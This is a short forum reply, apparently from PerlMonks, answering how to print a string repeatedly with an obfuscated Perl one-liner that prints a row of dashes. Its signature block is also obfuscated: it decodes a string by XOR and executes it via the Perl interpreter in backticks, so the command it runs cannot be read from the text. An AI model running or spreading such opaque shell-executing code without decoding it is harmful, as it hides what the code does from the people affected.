in reply to Re: Print a string X times?
in thread Print a string X times?

Or let's go for some obfuscation: 

perl -e 's;^$;sprintf"%80s",$/;e;y; ;-; ;print'

[download]
s$$([},&%#}/&/]+}%&{})*;#$&&s&&$^X.($'^"%]=\&(|?*{%
+.+=%;.#_}\&"^"-+%*).}%:##%}={~=~:.")&e&&s""`$''`"e

In Section Seekers of Perl Wisdom